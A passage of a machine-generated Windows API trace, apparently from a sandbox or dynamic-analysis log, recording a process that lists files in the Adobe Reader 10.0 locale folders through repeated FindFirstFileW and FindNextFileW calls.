hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0147.750] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.984] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.984] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV", cAlternateFileName="ACCESS~1.HRV")) returned 1 [0147.985] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.985] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.985] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.986] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.986] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HRV", cAlternateFileName="")) returned 1 [0147.986] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.986] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0147.986] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.986] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.986] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN", cAlternateFileName="ACCESS~1.HUN")) returned 1 [0147.987] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.987] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.987] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.988] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.988] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HUN", cAlternateFileName="")) returned 1 [0147.988] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.988] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0147.988] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.988] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.988] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="ACCESS~1.ITA")) returned 1 [0147.989] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.989] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.989] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.990] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.990] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ITA", cAlternateFileName="")) returned 1 [0147.990] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.990] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0147.990] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.990] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.990] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN", cAlternateFileName="ACCESS~1.JPN")) returned 1 [0147.991] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.991] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.991] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.992] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.992] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.JPN", cAlternateFileName="")) returned 1 [0147.992] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.992] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0147.992] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.147] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.147] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR", cAlternateFileName="ACCESS~1.KOR")) returned 1 [0148.148] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.149] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.149] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.150] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.150] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.KOR", cAlternateFileName="")) returned 1 [0148.150] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.150] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0148.150] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.152] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 